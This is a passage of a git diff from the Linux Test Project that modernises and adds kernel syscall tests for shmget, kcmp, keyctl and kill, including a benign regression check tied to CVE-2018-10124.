+#include <sys/ipc.h>
+#include <stdlib.h>
+#include <pwd.h>
+#include <sys/shm.h>
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-#include "ipcshm.h"
+static int *queues;
+static int maxshms, queue_cnt, used_cnt;
+static key_t shmkey;
 
-char *TCID = "shmget03";
-int TST_TOTAL = 1;
-
-/*
- * The MAXIDS value is somewhat arbitrary and may need to be increased
- * depending on the system being tested.
- */
-#define MAXIDS	8192
-
-int shm_id_1 = -1;
-int num_shms = 0;
-
-int shm_id_arr[MAXIDS];
-
-int main(int ac, char **av)
+static void verify_shmget(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * use the TEST() macro to make the call
-		 */
-
-		TEST(shmget(IPC_PRIVATE, SHM_SIZE, IPC_CREAT | IPC_EXCL
-			    | SHM_RW));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "call succeeded when error expected");
-			continue;
-		}
-
-		switch (TEST_ERRNO) {
-		case ENOSPC:
-			tst_resm(TPASS, "expected failure - errno = "
-				 "%d : %s", TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed with an "
-				 "unexpected error - %d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
+	TST_EXP_FAIL2(shmget(shmkey + maxshms, SHM_SIZE, IPC_CREAT | IPC_EXCL | SHM_RW), ENOSPC,
+		"shmget(%i, %i, %i)", shmkey + maxshms, SHM_SIZE, IPC_CREAT | IPC_EXCL | SHM_RW);
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
+	int res, num;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	shmkey = GETIPCKEY();
+	used_cnt = GET_USED_SEGMENTS();
+	tst_res(TINFO, "Current environment %d shared memory segments are already in use",
+		used_cnt);
+	SAFE_FILE_SCANF("/proc/sys/kernel/shmmni", "%i", &maxshms);
 
-	TEST_PAUSE;
+	queues = SAFE_MALLOC((maxshms - used_cnt) * sizeof(int));
+	for (num = 0; num < maxshms - used_cnt; num++) {
+		res = shmget(shmkey + num, SHM_SIZE, IPC_CREAT | IPC_EXCL | SHM_RW);
+		if (res == -1)
+			tst_brk(TBROK | TERRNO, "shmget failed unexpectedly");
 
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See libs/libltpipc/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	/* get an IPC resource key */
-	shmkey = getipckey();
-
-	/*
-	 * Use a while loop to create the maximum number of memory segments.
-	 * If the loop exceeds MAXIDS, then break the test and cleanup.
-	 */
-	while ((shm_id_1 = shmget(IPC_PRIVATE, SHM_SIZE, IPC_CREAT |
-				  IPC_EXCL | SHM_RW)) != -1) {
-		shm_id_arr[num_shms++] = shm_id_1;
-		if (num_shms == MAXIDS) {
-			tst_brkm(TBROK, cleanup, "The maximum number of shared "
-				 "memory ID's has been\n\t reached.  Please "
-				 "increase the MAXIDS value in the test.");
-		}
+		queues[queue_cnt++] = res;
 	}
-
-	/*
-	 * If the errno is other than ENOSPC, then something else is wrong.
-	 */
-	if (errno != ENOSPC) {
-		tst_resm(TINFO, "errno = %d : %s", errno, strerror(errno));
-		tst_brkm(TBROK, cleanup, "Didn't get ENOSPC in test setup");
-	}
+	tst_res(TINFO, "The maximum number of memory segments (%d) has been reached",
+		maxshms);
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-	int i;
+	int num;
 
-	/* remove the shared memory resources that were created */
-	for (i = 0; i < num_shms; i++) {
-		rm_shm(shm_id_arr[i]);
-	}
+	if (!queues)
+		return;
 
-	tst_rmdir();
+	for (num = 0; num < queue_cnt; num++)
+		SAFE_SHMCTL(queues[num], IPC_RMID, NULL);
 
+	free(queues);
 }
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_shmget,
+};
diff --git a/testcases/kernel/syscalls/ipc/shmget/shmget04.c b/testcases/kernel/syscalls/ipc/shmget/shmget04.c
index 60a263c..0e48b09 100644
--- a/testcases/kernel/syscalls/ipc/shmget/shmget04.c
+++ b/testcases/kernel/syscalls/ipc/shmget/shmget04.c
@@ -1,153 +1,71 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  03/2001 - Written by Wayne Boyer
  */
 
-/*
- * NAME
- *	shmget04.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	shmget04 - test for EACCES error
+ * Test for EACCES error.
  *
- * ALGORITHM
- *	create a shared memory segment without read or write permissions
- *	loop if that option was specified
- *	  call shmget() with SHM_RW flag using TEST() macro
- *	  check the errno value
- *	    issue a PASS message if we get EACCES
- *	  otherwise, the tests fails
- *	    issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  shmget04 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
+ * Create a shared memory segment without read or write permissions under
+ * unpriviledged user and call shmget() with SHM_RD/SHM_WR/SHM_RW flag to
+ * trigger EACCES error.
  */
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <stdlib.h>
 #include <pwd.h>
-#include "ipcshm.h"
+#include <sys/shm.h>
+#include "tst_safe_sysv_ipc.h"
+#include "tst_test.h"
+#include "libnewipc.h"
+#include "lapi/shm.h"
 
-char *TCID = "shmget04";
-int TST_TOTAL = 1;
+static int shm_id = -1;
+static key_t shmkey;
+static struct tcase {
+	char *message;
+	int flag;
+} tcases[] = {
+	{"Testing SHM_RD flag", SHM_RD},
+	{"Testing SHM_WR flag", SHM_WR},
+	{"Testing SHM_RW flag", SHM_RW},
+};
 
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-int shm_id_1 = -1;
-
-int main(int ac, char **av)
+static void verify_shmget(unsigned int n)
 {
-	int lc;
+	struct tcase *tc = &tcases[n];
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * use the TEST() macro to make the call
-		 */
-
-		TEST(shmget(shmkey, SHM_SIZE, SHM_RW));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "call succeeded when error expected");
-			continue;
-		}
-
-		switch (TEST_ERRNO) {
-		case EACCES:
-			tst_resm(TPASS, "expected failure - errno = "
-				 "%d : %s", TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed with an "
-				 "unexpected error - %d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
+	tst_res(TINFO, "%s", tc->message);
+	TST_EXP_FAIL2(shmget(shmkey, SHM_SIZE, tc->flag), EACCES, "shmget(%i, %i, %i)",
+		shmkey, SHM_SIZE, tc->flag);
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
-	tst_require_root();
+	struct passwd *pw;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	pw = SAFE_GETPWNAM("nobody");
+	SAFE_SETUID(pw->pw_uid);
+	shmkey = GETIPCKEY();
 
-	TEST_PAUSE;
-
-	/* Switch to nobody user for correct error code collection */
-	ltpuser = getpwnam(nobody_uid);
-	if (setuid(ltpuser->pw_uid) == -1) {
-		tst_resm(TINFO, "setuid failed to "
-			 "to set the effective uid to %d", ltpuser->pw_uid);
-		perror("setuid");
-	}
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See libs/libltpipc/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	/* get an IPC resource key */
-	shmkey = getipckey();
-
-	/* create a shared memory segment without read or access permissions */
-	if ((shm_id_1 = shmget(shmkey, SHM_SIZE, IPC_CREAT | IPC_EXCL)) == -1) {
-		tst_brkm(TBROK, cleanup, "Failed to create shared memory "
-			 "segment in setup");
-	}
+	shm_id = SAFE_SHMGET(shmkey, SHM_SIZE, IPC_CREAT | IPC_EXCL);
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-	/* if it exists, remove the shared memory resource */
-	rm_shm(shm_id_1);
-
-	tst_rmdir();
-
+	if (shm_id >= 0)
+		SAFE_SHMCTL(shm_id, IPC_RMID, NULL);
 }
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_shmget,
+	.tcnt = ARRAY_SIZE(tcases),
+};
diff --git a/testcases/kernel/syscalls/ipc/shmget/shmget05.c b/testcases/kernel/syscalls/ipc/shmget/shmget05.c
index de95445..42a1154 100644
--- a/testcases/kernel/syscalls/ipc/shmget/shmget05.c
+++ b/testcases/kernel/syscalls/ipc/shmget/shmget05.c
@@ -1,185 +1,69 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
  */
 
-/*
- * NAME
- *	shmget05.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	shmget05 - test for EACCES error
+ * It is a basic test for shm_next_id.
  *
- * ALGORITHM
- *	create a shared memory segment with root only read & write permissions
- *	fork a child process
- *	if child
- *	  set the ID of the child process to that of "nobody"
- *	  loop if that option was specified
- *	    call shmget() using the TEST() macro
- *	    check the errno value
- *	      issue a PASS message if we get EACCES
- *	    otherwise, the tests fails
- *	      issue a FAIL message
- *	  call cleanup
- *	if parent
- *	  wait for child to exit
- *	  remove the shared memory segment
- *
- * USAGE:  <for command-line>
- *  shmget05 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	test must be run at root
+ * shm_next_id specifies desired id for next allocated IPC shared memory. By
+ * default it's equal to -1, which means generic allocation logic.
+ * Possible values to set are in range {0..INT_MAX}.
+ * The value will be set back to -1 by kernel after successful IPC object
+ * allocation.
  */
 
-#include "ipcshm.h"
+#include <errno.h>
+#include <string.h>
 #include <sys/types.h>
-#include <sys/wait.h>
-#include "safe_macros.h"
+#include <sys/ipc.h>
+#include <sys/shm.h>
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-char *TCID = "shmget05";
-int TST_TOTAL = 1;
+#define NEXT_ID_PATH "/proc/sys/kernel/shm_next_id"
+static int shm_id, pid;
+static key_t shmkey;
 
-int shm_id_1 = -1;
-
-uid_t ltp_uid;
-char *ltp_user = "nobody";
-
-int main(int ac, char **av)
+static void verify_shmget(void)
 {
-	int pid;
-	void do_child(void);
+	SAFE_FILE_PRINTF(NEXT_ID_PATH, "%d", pid);
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	shm_id = SAFE_SHMGET(shmkey, SHM_SIZE, SHM_RW | IPC_CREAT);
+	if (shm_id == pid)
+		tst_res(TPASS, "shm_next_id succeeded, shm id %d", pid);
+	else
+		tst_res(TFAIL, "shm_next_id failed, expected id %d, but got %d", pid, shm_id);
 
-	setup();		/* global setup */
-
-	if ((pid = FORK_OR_VFORK()) == -1) {
-		tst_brkm(TBROK, cleanup, "could not fork");
-	}
-
-	if (pid == 0) {		/* child */
-		/* set the user ID of the child to the non root user */
-		if (setuid(ltp_uid) == -1) {
-			tst_resm(TBROK, "setuid() failed");
-			exit(1);
-		}
-
-		do_child();
-
-		cleanup();
-
-	} else {		/* parent */
-		/* wait for the child to return */
-		SAFE_WAITPID(cleanup, pid, NULL, 0);
-
-		/* if it exists, remove the shared memory resource */
-		rm_shm(shm_id_1);
-
-		tst_rmdir();
-	}
-	tst_exit();
+	TST_ASSERT_INT(NEXT_ID_PATH, -1);
+	SAFE_SHMCTL(shm_id, IPC_RMID, NULL);
+	pid++;
 }
 
-/*
- * do_child - make the TEST call as the child process
- */
-void do_child(void)
+static void setup(void)
 {
-	int lc;
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Look for a failure ...
-		 */
-
-		TEST(shmget(shmkey, SHM_SIZE, SHM_RW));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "call succeeded when error expected");
-			continue;
-		}
-
-		switch (TEST_ERRNO) {
-		case EACCES:
-			tst_resm(TPASS, "expected failure - errno = "
-				 "%d : %s", TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed with an "
-				 "unexpected error - %d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		}
-	}
+	shmkey = GETIPCKEY();
+	pid = getpid();
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static void cleanup(void)
 {
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See libs/libltpipc/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	/* get an IPC resource key */
-	shmkey = getipckey();
-
-	/* create a shared memory segment with read and write permissions */
-	if ((shm_id_1 = shmget(shmkey, SHM_SIZE,
-			       SHM_RW | IPC_CREAT | IPC_EXCL)) == -1) {
-		tst_brkm(TBROK, cleanup, "Failed to create shared memory "
-			 "segment in setup");
-	}
-
-	/* get the userid for a non root user */
-	ltp_uid = getuserid(ltp_user);
+	if (shm_id != -1)
+		SAFE_SHMCTL(shm_id, IPC_RMID, NULL);
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_shmget,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_CHECKPOINT_RESTORE=y",
+		NULL
+	},
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/ipc/shmget/shmget06.c b/testcases/kernel/syscalls/ipc/shmget/shmget06.c
new file mode 100644
index 0000000..d91b7b6
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/shmget/shmget06.c
@@ -0,0 +1,75 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * It is a basic test for shm_next_id.
+ *
+ * When the shared memory segment identifier that shm_next_id stored is already
+ * in use, call shmget with different key just use another unused value in range
+ * [0,INT_MAX]. Kernel doesn't guarantee the desired id.
+ */
+
+#include <errno.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/shm.h>
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
+
+#define NEXT_ID_PATH "/proc/sys/kernel/shm_next_id"
+
+static int shm_id[2], pid;
+static key_t shmkey[2];
+
+static void verify_shmget(void)
+{
+	SAFE_FILE_PRINTF(NEXT_ID_PATH, "%d", shm_id[0]);
+
+	shm_id[1] = SAFE_SHMGET(shmkey[1], SHM_SIZE, IPC_CREAT | SHM_RW);
+	if (shm_id[1] == shm_id[0])
+		tst_res(TFAIL, "shm id %d has existed, shmget() returns the"
+			" same shm id unexpectedly", shm_id[0]);
+	else
+		tst_res(TPASS, "shm id %d has existed, shmget() returns the"
+			" new shm id %d", shm_id[0], shm_id[1]);
+
+	SAFE_SHMCTL(shm_id[1], IPC_RMID, NULL);
+}
+
+static void setup(void)
+{
+	shmkey[0] = GETIPCKEY();
+	shmkey[1] = GETIPCKEY();
+	pid = getpid();
+	SAFE_FILE_PRINTF(NEXT_ID_PATH, "%d", pid);
+	shm_id[0] = SAFE_SHMGET(shmkey[0], SHM_SIZE, IPC_CREAT | SHM_RW);
+}
+
+static void cleanup(void)
+{
+	int i;
+
+	for (i = 0; i < 2; i++) {
+		if (shm_id[i] != -1)
+			SAFE_SHMCTL(shm_id[i], IPC_RMID, NULL);
+	}
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_shmget,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_CHECKPOINT_RESTORE=y",
+		NULL
+	},
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/kcmp/kcmp.h b/testcases/kernel/syscalls/kcmp/kcmp.h
deleted file mode 100644
index 59371fc..0000000
--- a/testcases/kernel/syscalls/kcmp/kcmp.h
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (c) 2015 Cedric Hnyda <chnyda@suse.com>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of
- * the License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software Foundation,
- * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
- */
-
-#ifndef KCMP_H
-#define KCMP_H
-
-#include <sys/types.h>
-#include "config.h"
-#include "lapi/syscalls.h"
-
-#if !defined(HAVE_ENUM_KCMP_TYPE)
-
-enum kcmp_type {
-	KCMP_FILE,
-	KCMP_VM,
-	KCMP_FILES,
-	KCMP_FS,
-	KCMP_SIGHAND,
-	KCMP_IO,
-	KCMP_SYSVSEM,
-	KCMP_TYPES,
-};
-
-#else
-
-# include <linux/kcmp.h>
-
-#endif
-
-#if !defined(HAVE_KCMP)
-
-int kcmp(int pid1, int pid2, int type, int fd1, int fd2)
-{
-	return tst_syscall(__NR_kcmp, pid1, pid2, type, fd1, fd2);
-}
-
-#endif
-
-#endif /* KCMP_H */
diff --git a/testcases/kernel/syscalls/kcmp/kcmp01.c b/testcases/kernel/syscalls/kcmp/kcmp01.c
index a03a25a..903525f 100644
--- a/testcases/kernel/syscalls/kcmp/kcmp01.c
+++ b/testcases/kernel/syscalls/kcmp/kcmp01.c
@@ -15,7 +15,7 @@
 
 #include "tst_test.h"
 #include "lapi/fcntl.h"
-#include "kcmp.h"
+#include "lapi/kcmp.h"
 
 #define TEST_FILE "test_file"
 #define TEST_FILE2 "test_file2"
diff --git a/testcases/kernel/syscalls/kcmp/kcmp02.c b/testcases/kernel/syscalls/kcmp/kcmp02.c
index 993d9a4..ab07bb8 100644
--- a/testcases/kernel/syscalls/kcmp/kcmp02.c
+++ b/testcases/kernel/syscalls/kcmp/kcmp02.c
@@ -17,7 +17,7 @@
 
 #include "tst_test.h"
 #include "lapi/fcntl.h"
-#include "kcmp.h"
+#include "lapi/kcmp.h"
 
 #define TEST_FILE "test_file"
 #define TEST_FILE2 "test_file2"
diff --git a/testcases/kernel/syscalls/kcmp/kcmp03.c b/testcases/kernel/syscalls/kcmp/kcmp03.c
index 30ac3ec..4b90e6d 100644
--- a/testcases/kernel/syscalls/kcmp/kcmp03.c
+++ b/testcases/kernel/syscalls/kcmp/kcmp03.c
@@ -18,10 +18,9 @@
 
 #include <errno.h>
 #include <stdlib.h>
-#include <sched.h>
 #include <sys/wait.h>
 #include "tst_test.h"
-#include "kcmp.h"
+#include "lapi/kcmp.h"
 #include "lapi/sched.h"
 
 #define STACK_SIZE	(1024*1024)
diff --git a/testcases/kernel/syscalls/keyctl/.gitignore b/testcases/kernel/syscalls/keyctl/.gitignore
index 3544ac7..f9948c1 100644
--- a/testcases/kernel/syscalls/keyctl/.gitignore
+++ b/testcases/kernel/syscalls/keyctl/.gitignore
@@ -6,3 +6,4 @@
 /keyctl06
 /keyctl07
 /keyctl08
+/keyctl09
diff --git a/testcases/kernel/syscalls/keyctl/keyctl09.c b/testcases/kernel/syscalls/keyctl/keyctl09.c
new file mode 100644
index 0000000..c88c481
--- /dev/null
+++ b/testcases/kernel/syscalls/keyctl/keyctl09.c
@@ -0,0 +1,54 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 Google, Inc.
+ */
+
+/*\
+ * [Description]
+ *
+ * Test that encrypted keys can be instantiated using user-provided decrypted
+ * data that is hex-ascii encoded.
+ */
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+
+#define ENCRYPTED_KEY_VALID_PAYLOAD	"new enc32 user:masterkey 32 abcdefABCDEF1234567890aaaaaaaaaa"
+#define ENCRYPTED_KEY_INVALID_PAYLOAD	"new enc32 user:masterkey 32 plaintext123@123!123@123!123@123"
+
+static void do_test(void)
+{
+	char buffer[128];
+
+	TST_EXP_POSITIVE(add_key("user", "user:masterkey", "foo", 3,
+			    KEY_SPEC_PROCESS_KEYRING));
+
+	if (!TST_PASS)
+		return;
+
+	TST_EXP_POSITIVE(add_key("encrypted", "ltptestkey1",
+			    ENCRYPTED_KEY_VALID_PAYLOAD,
+			    60, KEY_SPEC_PROCESS_KEYRING));
+
+	if (!TST_PASS)
+		return;
+
+	TST_EXP_POSITIVE(keyctl(KEYCTL_READ, TST_RET, buffer, sizeof(buffer)));
+
+	if (!TST_PASS)
+		return;
+
+	TST_EXP_FAIL2(add_key("encrypted", "ltptestkey2",
+			    ENCRYPTED_KEY_INVALID_PAYLOAD, 60,
+			    KEY_SPEC_PROCESS_KEYRING), EINVAL);
+
+	keyctl(KEYCTL_CLEAR, KEY_SPEC_PROCESS_KEYRING);
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_DECRYPTED_DATA=y",
+		NULL
+	}
+};
diff --git a/testcases/kernel/syscalls/kill/.gitignore b/testcases/kernel/syscalls/kill/.gitignore
index 75fdaa5..810ed02 100644
--- a/testcases/kernel/syscalls/kill/.gitignore
+++ b/testcases/kernel/syscalls/kill/.gitignore
@@ -8,3 +8,4 @@
 /kill10
 /kill11
 /kill12
+/kill13
diff --git a/testcases/kernel/syscalls/kill/kill05.c b/testcases/kernel/syscalls/kill/kill05.c
index e694126..8ec71be 100644
--- a/testcases/kernel/syscalls/kill/kill05.c
+++ b/testcases/kernel/syscalls/kill/kill05.c
@@ -24,8 +24,9 @@
 #include "libnewipc.h"
 #include "tst_safe_sysv_ipc.h"
 #include "tst_safe_macros.h"
+#include "tst_uid.h"
 
-static uid_t nobody_uid, bin_uid;
+static uid_t test_users[2];
 static int *flag;
 static int shm_id = -1;
 static key_t shm_key;
@@ -35,8 +36,8 @@
 	while (1) {
 		if (*flag == value)
 			break;
-		else
-			usleep(100);
+
+		usleep(100);
 	}
 }
 
@@ -47,14 +48,14 @@
 	*flag = 0;
 	pid1 = SAFE_FORK();
 	if (pid1 == 0) {
-		SAFE_SETREUID(nobody_uid, nobody_uid);
+		SAFE_SETREUID(test_users[0], test_users[0]);
 		*flag = 1;
 		wait_for_flag(2);
 
 		exit(0);
 	}
 
-	SAFE_SETREUID(bin_uid, bin_uid);
+	SAFE_SETREUID(test_users[1], test_users[1]);
 	wait_for_flag(1);
 	TEST(kill(pid1, SIGKILL));
 
@@ -85,17 +86,10 @@
 
 static void setup(void)
 {
-	struct passwd *pw;
-
 	shm_key = GETIPCKEY();
 	shm_id = SAFE_SHMGET(shm_key, getpagesize(), 0666 | IPC_CREAT);
 	flag = SAFE_SHMAT(shm_id, 0, 0);
-
-	pw = SAFE_GETPWNAM("nobody");
-	nobody_uid = pw->pw_uid;
-
-	pw = SAFE_GETPWNAM("bin");
-	bin_uid = pw->pw_uid;
+	tst_get_uids(test_users, 0, 2);
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/kill/kill13.c b/testcases/kernel/syscalls/kill/kill13.c
new file mode 100644
index 0000000..66ae37b
--- /dev/null
+++ b/testcases/kernel/syscalls/kill/kill13.c
@@ -0,0 +1,45 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC <rpalethorpe@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Reproducer of CVE-2018-10124; INT_MIN negation.
+ *
+ * On most two's complement CPUs negation of INT_MIN will result in
+ * INT_MIN because ~((unsigned)INT_MIN) + 1 overflows to INT_MIN
+ * (unless trapped). On one's complement ~((unsigned)INT_MIN) = INT_MAX.
+ *
+ * Without UBSAN kill will always return ESRCH. Regardless of if the
+ * bug is present as INT_MIN/INT_MAX are invalid PIDs. It checks the
+ * PID before the signal number so we can not cause EINVAL. A trivial
+ * test of kill is performed elsewhere. So we don't run the test
+ * without UBSAN to avoid giving the impression we have actually
+ * tested for the bug.
+ */
+
+#include <limits.h>
+#include <signal.h>
+#include "tst_test.h"
+
+static void run(void)
+{
+	TST_EXP_FAIL2(kill(INT_MIN, 0), ESRCH,
+		      "kill(INT_MIN, ...) fails with ESRCH");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_UBSAN_SIGNED_OVERFLOW",
+		NULL
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "4ea77014af0d"},
+		{"CVE", "CVE-2018-10124"},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/lgetxattr/lgetxattr01.c b/testcases/kernel/syscalls/lgetxattr/lgetxattr01.c
index b9669b2..5c92d23 100644
--- a/testcases/kernel/syscalls/lgetxattr/lgetxattr01.c
+++ b/testcases/kernel/syscalls/lgetxattr/lgetxattr01.c
@@ -89,8 +89,8 @@
 	if (TST_ERR == ENODATA) {
 		tst_res(TPASS | TTERRNO, "lgetxattr() failed as expected");
 	} else {
-		tst_res(TFAIL | TTERRNO, "lgetxattr() failed unexpectedly,"
-			"expected %s", tst_strerrno(ENODATA));
+		tst_res(TFAIL | TTERRNO, "lgetxattr() failed unexpectedly, expected %s",
+			tst_strerrno(ENODATA));
 	}
 }
 
diff --git a/testcases/kernel/syscalls/link/.gitignore b/testcases/kernel/syscalls/link/.gitignore
index 83e61ae..e5d7f1b 100644
--- a/testcases/kernel/syscalls/link/.gitignore
+++ b/testcases/kernel/syscalls/link/.gitignore
@@ -2,6 +2,4 @@
 /link03
 /link04
 /link05
-/link06
-/link07
 /link08
diff --git a/testcases/kernel/syscalls/link/link02.c b/testcases/kernel/syscalls/link/link02.c
index 6ac340c..3d265d6 100644
--- a/testcases/kernel/syscalls/link/link02.c
+++ b/testcases/kernel/syscalls/link/link02.c
@@ -1,56 +1,20 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *  AUTHOR		: William Roske
  *  CO-PILOT		: Dave Fenner
  * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
